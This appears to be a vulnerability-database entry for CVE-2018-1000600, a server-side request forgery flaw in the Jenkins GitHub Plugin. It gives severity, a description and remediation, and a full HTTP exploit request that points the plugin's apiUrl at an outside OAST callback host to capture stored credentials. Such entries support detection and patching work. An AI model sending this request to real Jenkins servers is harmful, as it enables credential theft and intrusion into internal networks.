🔙 목록으로 돌아가기

CVE-2018-1000600: Jenkins GitHub Plugin <=1.29.1 - Server-Side Request Forgery

TitleJenkins GitHub Plugin <=1.29.1 - Server-Side Request Forgery
Authorgeeknik
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to internal resources, potential data leakage, and further attacks on the network.
RemediationUpgrade Jenkins GitHub Plugin to version 1.29.2 or later to mitigate the vulnerability.
CVSS Score8.8
EPSS Score0.93511
CVE IDCVE-2018-1000600
CWE IDCWE-200
Tags cve cve2018 jenkins ssrf oast github vkev vuln

🔍 Vulnerability Description

Jenkins GitHub Plugin 1.29.1 and earlier is susceptible to server-side request forgery via GitHubTokenCredentialsCreator.java, which allows attackers to leverage attacker-specified credentials IDs obtained through another method and capture the credentials stored in Jenkins.

🌐 HTTP Request

GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://d5jpmn9le0o4ed79aoe03zbo1gei7s16q.oast.online HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-1000600.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-1000600.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A